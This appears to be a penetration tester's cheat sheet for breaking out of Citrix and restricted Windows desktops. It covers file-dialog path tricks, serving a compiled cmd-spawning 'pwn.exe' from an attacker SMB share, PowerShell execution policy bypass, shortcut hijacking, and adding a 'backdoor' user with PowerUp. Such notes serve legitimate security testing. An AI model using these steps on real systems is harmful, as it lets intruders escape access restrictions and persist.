citrix-breakouts-restricted-enviornment

Restricted file access

• We can use any program such as paint, notepad, wordpad, etc.

• Run any application, and click on File > open

• Enter the path \\127.0.0.1\c$\users\pmogran

Restricted SMB share

• Start smbserver from ubuntu machine

• Open paint application, click File > open

• Put in the address bar \10.10.16.25\share

• Click on pwn.exe Compile pwn.c:

#include <stdlib.h>
int main() {
  system("C:\\Windows\\System32\\cmd.exe");
}

Alternative file explorer

• Explorer++

• Q-Dir

Powershell execution policy bypass

Powershell -ep bypass

Alternative registry editor

simpregedit uberregedit

Modify shortcut file

• Right-click on the shortcut file > properties

• In the Target box - C:\Windows\System32\cmd.exe

• Click ok

Script execution

• Create an new file

• Put cmd in the file

• Save as ".bat", ".vbs", ".ps"

• Import-Module .\PowerUp.ps1

• Write-UserAddMSI

• Execute UserAdd.msi

• Create a new user

• Run as /user:backdoor cmd

Additional resource

breaking-out-of-citrix-and-other-restricted-desktop-environments breaking-out-of-windows-environments